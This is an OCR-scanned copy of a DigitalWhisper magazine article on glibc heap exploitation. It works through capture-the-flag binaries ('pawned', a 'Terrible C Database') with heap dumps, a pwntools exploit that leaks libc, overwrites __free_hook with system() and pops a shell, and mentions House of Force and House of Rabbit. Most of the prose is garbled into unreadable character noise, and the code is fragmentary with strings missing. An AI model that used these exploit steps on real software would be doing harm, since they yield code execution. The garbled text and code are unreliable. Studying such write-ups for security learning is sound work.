
0:
if args . GDB

return  gdb. debug (elf . path , gdbscript =gs)
else :

return  process (elf . path)

io . timeout = 0.1
io = start ()
HHHHHHHHHHR

HHH R R
io . interactive 0O
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https://github.com/pwndbg/pwndbg/issues/937
https://packages.ubuntu.com/focal-updates/libc6-dbg
https://github.com/abdullahnz/CTFs/blob/10ad0fd89d27baaba7c67f33cec3dbc9613ba051/Hacktivity/pwn/pawned/solve.py#L8
https://www.buaq.net/go-13408.html
https://www.buaq.net/go-13408.html
https://github.com/matrix1001/glibc-all-in-one
https://bbs.pediy.com/thread-254868-1.htm
https://github.com/ray-cp/pwn_debug/blob/master/build.sh
https://github.com/shift-crops/sc_expwn
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140 ses 8. x o interactive(}, 4 1+ *  rid1 Y 4 X sdeébUggingt - <" x o7

T x cffl¥c, x Tdi-1® 4 5 4 )bleakpointt L X 4 L B Y I _w X8 T X[ X w S
S AR N B A £ I B R I S IR SN B SRR ST T 0 R T I

S N L. LU P TR SN (L N TN

L %14 e ~ check poit » x €270 ~recdrds ¢ I x <« xgdbo _ "M x "N 4
1« 1)XQIRA MozillaL _rr x _timeless debugging/_ ® % x § « x % Judebugs 4 1 L s * *
oo e < ¥ 4r 44 «Ubuntu20* s 1 {1 _patehing- * | geohot. T _ A

N !

XX oA s A Y wXsid 4L siies 4 v w X Budzingl L ] X A x AL s

heap ~ x 4 » | *,x ., 1 x I S5x LT 341 ¥1¥4d | 1heap

> ~ v~ ~ ~

L _production: * « ¥ L heapL _r 1 ¥ <% XOx 1 < x .l s «exploitation

x | fd-s _fastbind X &% 1 xchunk* " o4 14 4% e Y ix Apsdcd Bs pox Dox 7 x

~

s. 1 x Write-After-Freey « ¥ 1 _ x s

boos L XeRT  xss P I 4" s w0 om fchunkS « o "ur o«

~R X

P, x s 0 X ex D3 4T Xt B Y w4 . AFL Fuzzing

~ ~ 1 ~

XoU o~ bl L% L. AR _Flzzers, 4 IS, € P o Y @47 lxds 1.

theap™ r 4 Yoo XX ", ©s {7 1s X 1 54"

X X SU XS4 4 H4 ] 008 % xdatar 1 ¥ {1~ _MALLOC_PERTURB

- | x o «chunkst _~ * ~ 1 e XL L x  ddssx il @ Xev L4 Do L

(PERTURBbydes % " & 4 X & @ 5| . x% 1 xxesid Jux Jtcache

DX f0x% {s, {Thedp: X L4 S X ¥4, {4 %« MALLOC_CHECK

~

S v x4l 4 s X x4 ¥A! chunkst | | ‘métadata: X | 14X (X~

s« 11 T heaps _{ Ichunkc ! ¥ ¥ | Mcaches . x ~ x| {Hfieaps - x v s 7 <isx”

~ v

PI’OdUCtIOHS . X 1 'r -~ Toie X .|Y|‘X_P( _IH vn TN

s 1ox o P  Efvironmentariabler «~ o 17743 1 4,7 x4 o

~

$ man mallopt
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https://github.com/Gallopsled/pwntools/blob/f3b08ed28952dcc661a68f7f9edee7582089801a/pwnlib/tubes/tube.py#L844
https://sourceware.org/gdb/download/onlinedocs/gdb/Process-Record-and-Replay.html
https://github.com/pwndbg/pwndbg/issues/366
https://github.com/a1eaiactaest/qira
https://github.com/haxkor/forkever/
https://github.com/guyinatuxedo/remenissions
https://github.com/sslab-gatech/ArcHeap
https://github.com/sslab-gatech/ArcHeap
https://github.com/sslab-gatech/ArcHeap
https://github.com/search?o=desc&q=AFL&s=stars&type=Repositories

B Technologic

L1y s 57X

1 7 JIsxl "xsX A-| Se X -| RS ‘xx s-|mx\ X s\~l XX x]” L ><° -|><“x|;“ARjd>< X;..'I L, "

$ 1dd pawned_patched
llnux vdso.so.1 (0x00007ffd32f2e000)
libc.so.6 => ./libc.so0.6 (0x00007f2d53e7a000)
./1ld-2.31.s0 => /1ib64/1d-1inux-x86-64.s0.2

libc: ” .|,,A TI\dEbUQS = . vvfgs I x o ~ s,,:sA X . XSSA I xIses 4 L XA‘,‘-|VZ . ,: o X x
X | 4o, w2 heaps 0 - U X6 KSI LI A& y24a! Ay#tA « AT.SR1 380G ¢
LS NS S L X G H . " % D%, Teedsd )% X llibog-dbg
: This command only works with libc debug symbols.

The§ can_probably be installed via the package manager of your choice.
See also: https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html

. on Ubuntu/Debian you might need to do the following steps (for 64-bit and 32-bit
binaries):
sudo apt-get install libc6-dbg
sudo dpkg --add-architecture 1386
sudo apt-get install libc-dbg:1386

Ubuntu2004r | 1T % 4 YHOM . » ¥ X1 TR ] 4l xUsf o "x x ", o X

v LS Y X \}—:\. SWSL'I - o o, V'i)LH .~ X ‘eh"_sso X Xpa:[‘lchlr-lgA N X'IL" .I "I” L~WSLL N
(ALT+ENTER ~ ¢ 4 X X 4,0 ol = 0 X ¥ A4S T & o X

tcaches heaps * _rld1 " ¥ _metadatas - «~s " x x ] X Xx "oox 4 Tl w1 ¢
Pl 0 I L sl s A8 4 s dvisx tIx Do w10 & L 1 | main arenas x

PR EEE RS R R

.dg(dump gwordy x(examing x _:1x I ¥ «

X x by 1 X "Welcome to our pawn shop. Onlyseditems are allowed :» ¥ © « & «
Los X o xx 3¢« oo Nthdap, ¥ e § LT S OO T LT o x Ty ) x DX

~ ~ ~

. Malloc
X U 1b64s7 ¥0x30L | xchuhkst v+ 1 | 4. ma ! xhedps . ~ )4 ~ *_L s iain()

X ”sLy-|:‘-|V”JX'|Z-|$,~ZZx><A -|:>x:|’x,, Lo
long fload) ¥ L~ 4 12 84X I, L s 7 47 | xs” .0  xiSX 4. x " g
1~ ~s "malloc(},

2]

LX A~ % v x0T IR 5 S s Xy S|, X
nullx ™ 7oA x4 e s
XX X BRI LS w4 T O X T s L ox ™

P s A 1A s

House Every Weekendjlibc Heap Exploitation
www.DigitalWhisper.co.il
p g HAHNMX 1Mo~ x4 Y




oo TS T X T LT e P X NS S S,y I [ s,

dissassembly flowcha#t « .« 1 : _ sd'!s s . « 4% 4, 7 4 $1y decompiler view
= x o, Do Sl % LdBbuggingt, t o4 T LEXAIYXSXUSXX T S T X s | y,s | x| { X |
.manage_items() _ ¥, x < X . &7 " {1, T dxported B4 L < "X KX s

14471

S v LS ¥ L DX DTS X uSX D Sa e LD X4 ] e siivsk TR

>

X Al x s & g4y s T ] M)Xreversings 7 "ed _«x 7 8 s T ox x| ]

o

XL

Rl

14 L

b7 x A ks 400 1 ds ¥six 1 x LAt RE L L LS

Binary Radar@/Cutter/Rizin Ghidra IDAPro< _ELF x * d { & [s | xX*x ys, X, s ., X ]

.ninja

0301 ! xchuhks « <14« 8 x 7 TILT 4w 4 -4 Xox v Ko 4 204 Y 858 1%
oA Xos o X Lxx x . §osdatas | OR0C |~ ¥
Offset i Field Name

QWORD double (%1f)

QWORD const char® (%s) name_Buffer
DWORD int (%d) name_length

x:§ . > X 44 X XpAe x4 T D% 4 ¥ L - Bell

> S

Enter item price: 2222

Enter length of the item name: & 24

Enter the name of the item: JAYAVAVAYAYAYAYAYAYAYAYAYAVAYAYAYAVAYAYAYAVAYAVAYAVAYAVAVAVAYAVAVAVAYAVAVAVAYAVAVAVAYAVAYAVAYSY

Enter item price: $ 4444444444444
Enter length of the item name: 56
Enter the name of the item: BEBBBEBBEBBBEBBBBBBBEBBBBEBBEBBEBBBEBBBBBBBBEBBBEBBBBB

BBBBBBBBBEBBBEBBEBBEBBBEBBBEBBBBBBBBEBBBBBBBBBBBBEBEBBBEBBEBBBEBBBEBBBEBBEBEBBBEBEBBBBBBBB
BBBBBBBBBEBBBBBBEBBBEBBBEBBBBBBEBBBBBEBBBEBEBBEBEBEBEBBBEBEBBEBEBEBBEBBEBBBEBEBBEBEBEBEBBEBEBBEBBBBBB
BBBBBBBBBBBBBBBBEBBBEBBBBBBBB

Item added.
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https://www.digitalwhisper.co.il/files/Zines/0x71/DW113-1-ReversingHero.pdf

viss:l x & «sd{” bréfaki L x yctr-C. 1 LALT+ (backtick) GDB. =~ x (s %S 4 % x

Ox555555559240
Ox555555559250
©x555555559260
©x555555559270
©x555555559280
©x555555559290
Ox5555555592a0

0x5555555592b0

©x5555555592¢c0

0x5555555592d0 0x0000000000000041

Ox5555555592e0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
Ox5555555592f0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x555555559300 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x555555559310 0x0042424242424242 <-- Top

A D oss X L s X030 chunk e o XSae B e L S G Lo x XD x0T

~ ~ A

-s L _o0-s gword™ |EEE floating point _1 _ ~ xs 7> [ s™ x .qwotdwL ~ X _ > 47 ] x s
.7 "ldngthe + ~ © 3% xsy{*s Qchunk+, S ¢ x 1 _ A Thunk.e 1 X~ _ _data

1%L i X8 %« msdqword™ overflowy « X4 ¥ y A

L% X1 X _ ¥ oAcb chunks ¢ 1T X4 MS itemsS ¢ v . € 1 X7 XI7 JBuy

0x555555559240
0x555555559250
0x555555559260 <-- tcachebins[0x30][0/1]
0x555555559270

< tcachebins[0x20][0/1]

0x5555555592e0 0x424242424242424

X lds. . 4. X chunkss 17, (X x " Y fcackex L 1% Xk ¥ o, 1% x { |

L1~ D¥atas o, x| dvwxx b x JXtcache* + 1 _ 1 +bingss. . X ox 1 x

~ v

X TSI JUAFT L Ay (% S X Lo s sy ehunke | 4 % . s

~ ~ ~ a ~

dtemsm A - Xxpdls.

A YA WX X . (4 - WaQu )-manage_items():" 4 I"sxs 4 . " xS
S v X AKX _ & _chunks ¢, _~ « % s " xchunky )Y X RS T (k. X
:«chunks = | % <] x o« 70 L T wedlloc(y ~ X x|

M
ARNING! Admin use only!!!

. Price $0.000000, Name:

. Price $4444444444444.000000, Name: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

. Price $100000000000000007956232486128049714315622614079307522017611341417
67680.000000, Name: DDDDDDDDD

hat item would you like to change?: il
Enter the new item price: 100

Enter the new item name length: 72
free(): double free detected in tcache 2
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https://babbage.cs.qc.cuny.edu/ieee-754.old/64bit.html

Technologic

S Dol 1 X )chcheS L oL X o % .17 s* s (Mo glibcL _x 8 L)y ¥

debugs = x L < x ¥T 14" 1 ¢ d . "chunks . _keyL r 1 « ‘tcaéhebins L | ¢hunk
.otrl-D: . & X

Aol ST e e )R DX s xS U S ASx x5 4. s
x," targets © X x 14X ¢ 8 d ghynke _namer , 4 % S Ps xS WHLLe ") {2 L
1 xxisx 1 ™ ¢ inanage_itemsgy * « -~ X 5 C s XL fworde b | x tulhx
s, 4y shelty 1 sS4 1Hd% w4 1 WARS ¥ « X x Iixes@ Y Name length* ~» * </« 7

ong-gadget * < !x]rsystem( « X ~iw I X47Hibor _* X X ¥ 4L $ s a7

1

—|'/bin/sh\@' | ex3e item info chunk
F————{ with fake price value
| oo |
| xxxxxxxxxxxxx | Which we will call free on
After overwriting the _ free_hook
|Name pointer | with the addr of system()

|Name Length |
L 1

1
|Price |
—
[ xxxxxxxxxxxxx |
[ xxxxxxxxxxxxx |

—
L—|Name pointer |
e

|Name Length |
L 1

ST s Bys DT xS (X344 7)) x4 _4*Mhblloc hookss s *s | L4ys xTOx x 4 |
“.1 7 lexeeutionflow-s v 1 | _Islifinfarray. xgot.pltc * x 7144 " {4 JEULL RELRO

Privellege~ * *+ ¥+ 1 1 _ X exploits* Full/Partial RELR® ~ x " ¥~ * ¢4 151" A
setuid binaries + ¥ _LD_BIND_NGT LD_BIND_NOW * { % " :
gwords _~ 1 €hunk. | 1 * x ¥ _ #em-s . buy(): ~v 4 o _ " rer v A+, 144

>~

1+ SFTANB S 6 YOROA Y KedlKet 7! % o 1 xs G x 57 x x YK g AOPKAKL © x _« » s

~

1 x "4, ¢ ES3calation

~

hooks © «~_ x .4 Ighellx " (i s{Sbystem. - * x Iy | free_hooks @ «7 1 " X 1.7

> ~

libcleakL + 1 « x L §

e X _ 42 XN L1y 1 RéadAfter-Frees ¥ « X % _ {4 x)fibce 0 X x¥ 4 s |

s O xxy g s4 ] .1 % s L metadatar chunks « _datas _~ ¢ A4 17 _hins

(¢ ¢ xx L4 HUAFs ¥ « * % 1 sumsorted chunk _metadatas + ~» ¢ « ¥ s

~
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http://www.seclab.cs.stonybrook.edu/seclab/pubs/seclab15-12.pdf
http://www.seclab.cs.stonybrook.edu/seclab/pubs/seclab15-12.pdf
https://sites.cs.ucsb.edu/~chris/research/doc/usenix15_elf.pdf

Technologic

P Alx SRARS Y )% T o X L T % X%~ T largesized chunk X . S s )L

(6 ., s XXX ltemt X Teadr ) W7 o W X

FoooShe %X L D ox ¥ xu X s X0 e 030! 4 ix st Xsschuhke Pox Y 4
S L BSOS USSR Y, T % TdeLl % T LR S X7

0xB0tcachebin

null bytesx 4+s14] Iw X ~e¥41s,  ~n b x4 1 (4 . xx T)]ibcleake * « . | &."I
tcaches ¢ «x * %« 1 4 {1TgwordHd x )4 4+ 4 Ichank. _~ x _ .qwotd™

(Hom , ~ ¥ X1 main_arenas _* * x X §Jyx pkeys s | 1 o X, < X

AT L X T ¥ XD LxxiXI o oxso I x iipcl X x ¥ 4 S LA T XX

CX g A XY e Y 4 xXIxds xsilibce - ox . SIxx L, get.plts L _section® T ¢ ¥ ¥ . o

>

Zxxxy2-|j_§§t<JA_-|>s~x><,_\,__“",,I>:-|:-|”v'|[ 3, s X o4 "] xiixs x 7

~ ~ o~ ~ o~ > v

Lolibcr 5 X X% L L% ST ] ] $X Xiof " Ix s 1 ST xhedps 4 X X o« ]

.. _ 1 sddheaps

WL 1T s Lheaps L.t S E LS4 4 T T T 9] D sk X f 1% 4T ] x
YA L6 $XTI %44 thread: + 1 77, J «hedp* _x _d4x _glibct & X 4+« " x
binss ! 14 x " 5 ghunke 0 X ) Juwes’i 4y S x4 4L § e o Xt

s o4 XY heapl b AL 4 L X DR AL R K ox g ] X LoX X

~ ~a A~

Py 40 f s FXox < _ 47114 %x heap

A

r .11 Mlanage_itemsf) WARs v « ¢ X x o # v {1 _ $ . 1 arBitrary writes - 1 X:]+4

a

Towsfi s, 57 { qchunkd x 4+ 484 4% 7 (43 x 1 Is] i ¥y%" s

bins, X « DA™ T x xdaths L 4 4 XS xqwotds L~ 43X X {7 | KX

s .oatdaches @« X w1 X i 1 X 4P AL ] XX e d XX s

free_hook. , | ®* L datas _, 1 1chunkx 14+ ~ « L

X « X% XXX, 0 os4 ] 07

sell(1337,0x418,b "item A") # Allocate a large chunk so that when freed it
will reach the unsorted bin, and not the tcache

sell(1337,0x18,b "item B") # To avoid consolidation of 1'st large chunk with top
chunk

buy(1)

buy(2) If chunk2was in "Large size", it's name chunk
would've
been consolidated here with top chunk (unlike
0x20)
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https://github.com/CptGibbon/CVE-2021-3156

PXx555555559000 ©
Px555555559010 ©
Px555555559020
Px555555559030
Px555555559040
Px555555559050
PXx555555559060
Px555555559070
Px555555559080
Px555555559090
Px5555555590a0

Px555555559280
Px555555559290

0x5555555596f0
©x555555559700
©x555555559710
©x555555559720
©0x555555559730

xinfo &main_arena

X0000000

xtended information for virtual address

Containing mapping:

unsortedbin

dg &main_arena 30

P07 fff7faeb80
P07 ffff7faeb90
P07 ffff7faebad
00007 ffff7faebbo
00007 ffff7faebcO
P07 ffff7faebdod
PORO7ffff7faebed
P07 ffff7faebfo
P0PO7ffff7faeco0
P07 ffff7faeclO
P00O7ffff7faec20
PORO7ffff7faec30

0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000555555559710
00005555555592¢c0
00007ffff7faebfo
00RO7ffff7faeco0
00007 ffff7faeclo
00007 ffff7faec20

bk ¢ ¥ E(L S € X )X fdX

.main arenas _pa _1

1

0000000V0VVO
0000000000000
00000000000V
0000000V
00000V
0000000V VVLO
0000000V VO
00005555555592¢0
00007 ffff7faebfO
0007 ffff7faeco0
00007 ffff7faeclO
00007 ffff7faec20
T X .temss &

~

<-- tcachebins[@x308][1/2]

- unsortedbin[all][e]

- tcachebins[@x30][6/2]

- tcachebins[@x28][0/1]
- Top chunk

«— Ox5555555592¢c0

_L _Chunks _: x « 7%

P X(Hg + k¥ )

House Every Weekendlibc Heap Exploitain
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X LX XX x o, «libce (s "4 Sfsx i) s &8ss, x¥I ]s  X e

(Unsortedbine _~ 1 1%, g 4 ] X R 4w b S dx s X x i]se x

xinfo @x00007ffff7faebed
xtended information for virtual address

Containing mapping:

Offset information:
Mapped Area + Oxbe0
File (Base) = Ox7ffff7dc3000 + Oxlebbed
File (Segment) Ox7ffff7fab60® + ©x35e0
File (Disk) /usr/1ib/x86_64-1linux-gnu/libc-2.31.s0 + ©xleabe®

Containing ELF sections:
.data + Oxa4o

Cdtems X 1 s d [ temss . x buys ¢ < K1Y Ylibe leakx 7 4144 %1 |

1 X wrdsorted chunks « remaindering ~ « A X s « < x A

Px555555559280
Px555555559290
Px5555555592a0 <-- tcachebins[0x30][0/1]
Px5555555592b0
Px5555555592¢c0
Px5555555592d0
Px5555555592e0
Px555555559210

Px555555559300 <-- unsortedbin[all][@]

©x5555555596d0
@x555555 6e@

55555559700
©x555555559710

55555559728 <-- tcachebins[@x20][0/1]
@x555555559730 <-- Top chunk

‘tcacher X ~ | X(x px.i X s ahlnkx(~ x)~ K s x X Loy x - %~ 1 "Y » ~
©x555555559280

- tcachebins[0x30][1/2]
<-- tcachebins[0x40][0/1]

<-- unsortedbin[all][@]

©x555555559320

0x5555555596d0

0x5555555596e0 s iered
0x55555555960 s ¢ 5 X UUUU. . <-- tcachebins[0x30][0/2]
0x555555559700 ) 2 @ 8 3
0x555555559710 ©
0x555555559720 -- tcachebins[0x20][0/1]
0x555555559730 <-- Top chunk

tcachebins

House Every Weekendjlibc Heap Exploitation
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Technologic

1Is(sf 4%~ =V 4 Fdw _ v Jmanage_item(} ~ ¢ x & 1 4 sl x ., "+
Lo XX iedxss s boxqo L xx Y x . dddubles ¢~ price* WKk 0 AOKA K] X
1 X « "free_hook

px555555559290

px5555555592a0

px5555555592b0

px5555555592¢c0

px5555555592d0 tcachebins[0x40][0/1]
Px5555555592e0

px555555559210

px555555559300 unsortedbin[all][@]
Px555555559310

px555555559320

©x5555555596d0

©x5555555596e0 @ 15

©x555555559610 / .Uuuu. . <-- tcachebins[@x30][0/2]
©x555555559700

@x555555559710

©x555555559720 1 <-- tcachebins[@x20][0/1]
©x555555559730 < Top chunk

tcachebins
«— Ox0

«—|0x2f48) /* 'H/" */
«— 0x68732f6e€69622f /* '/bin/sh'

GDBNOASLR . -~ 41" _ % 9§ :free_hooks + _: X x i<Jxss | x| T Xx ] ,s s
Low A" 88 7% po 30, xSl o o L XK % NS X L Y XS s .
0x30s 1 -~ flee_hook. . . X)1. st 4c¢hlnk™ « X" » 4« X 1% 4 1%s w ] 1(5° >

.tcachebin

chunks _ 1« X301 ! xxy X x s ghlinks « «xI{x gell ') ! Jtem: _ $ « <"«
-s . _fd-s s | _double. free hooks . _1 x " 4x % % s | Jy0x30tcachebins _ + .~ *
chunks (, ! 1w _ s« 4 Ichunke _ 4 >« _ 3x]s " xc 14 * L x tcache metadata
Fdoox Rl x4 xs " M 4 ochunks T« L0830 P x ¥ )X AL E s x X

*« GDB* s v ¥ X x4 [ 44v, | systemr _ free_hooks - «x & X, ¢ X

pBA0)s A 4, Csd M oM X e XM wsystem)s L 4L T 4 XY sX s

a

a

ASLR = % "v<l , 1w GDB L d.. 1~ & _SSL 1Y) productiond «~ = 1 i 4 . 7

shellt * « 7 x

[+] Starting local process '/home/idan/pawned/pawned': pid 3568
/home/idan/.local/1lib/python3.8/site-packages/pwnlib/tubes/tube.py:1433: BytesWarning: Text.
See https://docs.pwntools.com/#bytes

return func(self, *a, **kw)

libc base addr: @ 0x7f6bo5cbe000

[*] free_hook @: ©x7f6boSeacb28, When treated as floating point double:6.9217429753128e-310

] system @: ox7f6bo5d13410
[*] Switching to interactive mode
whoami
idan
id
uid=1000(idan) gid=1000(idan) groups=1000(idan),4(adm),20(dialout),24(cdrom),25(floppy),117(netdev),1001(docker)
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Fd, sk b T elidrecviread - o x o X L, It o ) ] X o 1S4 . S

~ ~ ~ >

1w q%leakx b4 AXX U - L, 17 18 X%

> °

> ~

SR NN

Xl s T e KL el T ] e XSS X K g X7 X, LS xS

s Tedd] 0% X X 1y X« A Do« wchunkst f X 40 21T L WA .

from pwn import *
elf = context .binary = ELF(
libc = ELK(

def 0:
if args . GDB
return  gdb. debug (elf . path , gdbscript =gs)
else :
return  process (elf . path)

(seq_num):
. sendline ( )
. sendline (str (seg_num). encode ())

(seqg_num, length , name):
. sendline ( )
. sendline (str (seg_num). encode ())
. sendline (str (length ). encode ())
. sendline ( name)

0:

. sendline ( )

('seg_num, price , length , name):
. sendline ( )
. sendline (str (seq_num). encode ())
. sendline (str (price ). encode ())
. sendline (str (length ). encode ())
. sendline ( name)

= start ()
io . timeout = 0.1

sell (1337, 0x418,
sell (1337, 0x18,

buy (1)
buy (2)

io . readuntil  (
libc_leak = ub4(io . readline (). strip (). ljust (8,

libc .address = libc leak - 0Ox1lebbeO
print ( , hex (libc . address ))

free_hook = libc .symbols ['_free_hook' ]
free_hook_fake_price = struct . unpack ( , p64 ( free_hook ))[ 0]

House Every Weekenagjlibc Heap Exploitation
www.DigitalWhisper.co.il

HAOWNMX 1 MB -

Xy

x4 LY




Technologic

log . info (ffree_hook @: {hex (free_hook )}, When treated as floating point
double:{free_hook_fake price}'

item_C size = 0x38
sell (1337, item_C_size

buy ( 3)
manage( 3, free_hook_fake_pr ice , item_C_size ,

log . info (f'system @: {hex (libc . symbols [

sell (1337, 0x28, p64(libc .symbols [ 'system’ ]))

buy (1)
io . clean ()
io . interactive

oAl s X X4 dAstela 4y X st 4 41X s 47 1Y . ts
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LMK g A L X e R L e X

build-L ~ x /phatehingd * | ~ d *rlYHO M | - Y _libc.so, * XELF * x4 « 7% 4 L X«

Sx "I d oA "y Ubuntu20040 x 7 s4_ 3 - _ ~_Ljdebug symbols r 1 « -

b X BY 2 BRI 7 xS { s

L X <17, x" 1 Eheckseg 1 ~ 7

amde4-64-1ittle

DX X R TUSKNYd T X ] 0T 4Ty LT KT S XNOPIES o s Ll T

Terrible C Database v@.1la

. Add user.
Remove user.
Edit user.

. Swap users.
List all users.
Exit.

Vs WN R

DA T o Y XXy s S gxss, 1 ) pivndbgd X G % s 0 T 7

.o P4 _3gwordst 1 Iesxc A 4 P odchuhks < < X 47 [ x s

Px405290
Px4052a0
Px4052b0

House Every Weekenagjlibc Heap Exploitation
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https://github.com/search?q=pawned+challenge.ctf.games&type=code
https://github.com/search?q=pawned+challenge.ctf.games&type=code
https://f4d3.io/hacktivitycon-pwn/assets/sharp
https://f4d3.io/hacktivitycon-pwn/assets/libc-2.31.so

Ox405280
0x405290

Px405340
0x405350
0x405360
Ox405370
0x405380
Px405390
Ox4053a0
0x4053b0
Ox4053¢O
0x4053d0

LY ¥ X xchuhkL |
UXx 01" gqwords x 7 mS

“I-”'IX :'i ” | X 'I

px4053d0
Px4053e0
Px405310
px405400
Ppx405410
px405420
px405430
px405440
px405450
Px405460
px405470
px405480

~ » 1 userschunks . s |
T4

XSY. X X % 5 4

S

Lo !

0x0000004242424242
0x000000VRVV00O
0Xx000000VV0OVL00
0x0000LRLOLRVLRLO
9x0000000000000000
@x000000000VVB00
0x0000000000000000
0x00000RVRVVLOO

1 X7

~ v ~ v~ <A

0x0000000000000000

'3 L xchuhks . «

.F

X qword> .~ _ X

et

* wpshix 4 chunks _* (X

XX S

0x00000000000PV081
0x0000000000000000
0x0000000000000000
Ox000000000DVBV000
0x000000000LLBLAO
0x0000000000000000
0x00000000LEV00O
0x0000000000000000

~_I ”

1%

JoXxpiqsIs i X

_ L s chunkL |

A 204 x T
X « Q20 teachebinL x -
124.¢ 17s, 4 ¢ x ehudks _datas -

. 4 L ﬂ JFL q A v\,S .

x g Is " x 47 gword™ x4(" _ s -

<-- tcachebins[@x20][0/1]

JJ

v L

Xp Ixx o,

xchunks _s « .

s " X

X 04 7T ., xsYO S, s, L x
71X s 14vschunk

x4 10%10

House Every Weekd - glibc Heap Exploitation
www.DigitalWhisper.co.il

HAOWNMX 1 MB -

x4 LY



R N T B R BT - s, . 1 ;rémove()

pPx405290
Ppx4052a0
px4052bo
Ppx4052c0
px4052d0

Px4053d0
Ppx4053e0
Px405310
Px405400
Px405410
Px405420
Px405430
Px405440
Px405450
Px405460
Px405470
Px405480

gwordL * - Ix"L Keys) Ox80tcachebins _ « + «» ~ 1 ®s _ _ - _ 1sSchunks _+ 4+« x .

L)L X Tsp x D4 R4 LT an s C 1 _chunke 4 * i _Isdatas o 17 _ s

~ ~

ST g x D UL T T X, T F 85 4w SX 4s . 56 Cs X

Sex "

cud, e x chudks s ” x| s 0ovs m M x ] s« . Qouble freey « ¥ x " J4iX{es

oL AX e 7x 3%, fxsiy 44 chupk*x f % T X 1 X%, X AS | s

~ v

R IR R SR I B DR L ARG CHN IR SICHR NS NSNS S SN L

MHY © x 0 xe A0¥xy & thunkss % X We 4 AT 4.9 0 B s Csivap()

Px405220
Px4052b0
Px4052c0
Px4052d0
Px4052e0
Px405210
Px405300

Px405310

Px405320

Px405330

Px405340

Px405350 0x000000000000€101] @ ......ecieraannn
PXx405360 . 4; QX4 24242

Px405370

House Every Weekendjlibc Heap Exploitation
www.DigitalWhisper.co.il
TMm HAHWMX 1 mB <" x4V




Ox4242424242424242 X y BBBBB

A Sl X o dsxes Yoo 2 x X 4 e 1S X . SX ]

~ v a

X Lxu 1B A LS d ) overflow -~ X L chunkss 1 1< <] x s 1 iedit()
s

: @, user: BBB
: 1, user: CCCC
: 2, user: DDDDD

Enter entry of user to edit: 1

[*] Username must be less than 128 characters long.
Enter new username: €CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCd
cccccccceccccccccccccccccccccccccccccccecce

Px4053d0 ©0Xx000000000R0000
px4053e0
bx405310
px405400
px405410
bx405420
px405430
px405440
px405450
bx405460
px405470
px405480
bx405490

+ * ghunks v _gw-s . _LSB® _v 1 s,41 'y% _L _overflowY « *§& 4 « <" ¥ X% 4 7
sl x T AT S sy e, oS A« Kndllbytes 484 Tix L)« s

vist 1c s 4,8 H X T4 4%« 459 Ichupks © « ¥,k xchunke o ! x ¥ s

top chunks . x ¥ y x

House Every Weekendjlibc Heap Exploitation
www.DigitalWhisper.co.il
TH HAHWMX 1 mB <" x4V




Technologic

Sx T, % s ] v A A-|><Z‘\“v-p¢ ]CbuﬁksLNL I xsylsj vEX T Jv] %

To o od X 4x Doxss o 4 D) D8 " pixidsTsio. xchunks L _datass ¢ -

heap leak¥ 1 _Bins metadatas - -~ ¢ © % - x - ¥ X s P4 xy 44y S« 0w (4 4 _ s
awL XL loxsy s ¢ HdEM , ~¥Y_House of Forcd ” ; X " ¥ s.s* ¥y I7s{ L X%

clgrge sizgx 7 Tk x b M xpe X 47 1 57 I House of Rabbit s _ | % _ >kystem_mem

.Sy )hookss I 1< « x .4l House of Force «~ 41" ] 1% S  w~«Ss

+ 1« T.x_I's* ’Kialloc hooks + « ~ 71 4% 1 *I'pl&k malloc_hook ' x « X

~ ~

L s~ L PIEE XASIR | ! YNOPIES L v ¥ 4 8", ¥ { «hedps ¢ * x s]X 4 s

FY s Lo~ 1. o5t x 8 g1 xTyx*glibd ¢ _x § .~ toff chunk-s _* *x « «slx."{ *

~ ~

S T I B I T R S IRy I RO R R L R I S N I

TIs(* 42 d« 4+ X Qe d o~ 1L B 4. sxX

. X L S X g s

~ A

sl v XS o4 1

TR Sl

17 Jlarge chunks * « s o + I, x X xs| 4 4 © ., xfAouse of rabbi _ x _ 4 X ¥

S S I TR I I TP B L G B I I IS E TR

x 7 Tthunke | 1 %4 49w _ S d 7S o, b 85 4 Y X 4] XT 8

~

2. %) Has L 1. 45 _ TheapsL [ XXX DI 4§ FAs"]" 8 X ] s

XX D LW x1 xS € )T 4 st 4 %chupky _L ! XSYIs oo x Ll s G X k]
JH(1 P0X78-, T X e st X)) I Tl L L v A . 8l | x| X
List all users *x » _ « $ X | Ios] ¥ I @80 tcachebins 1 x ) s Schunkx . xs*. < x 4
DeloxLixg X", % Jhedps oL 4 Teis i1, 48 s 4 X ™ {thunkst D ox X x 1]
heap leak _ «x_ ™ x -1 libd leak” | malloc hookss ! 1 -«

House Every Weekenagjlibc Heap Exploitation
www.DigitalWhisper.co.il
TO HAOBNMX T MB-" X { Y



https://guyinatuxedo.github.io/5.1-mitigation_aslr_pie/index.html

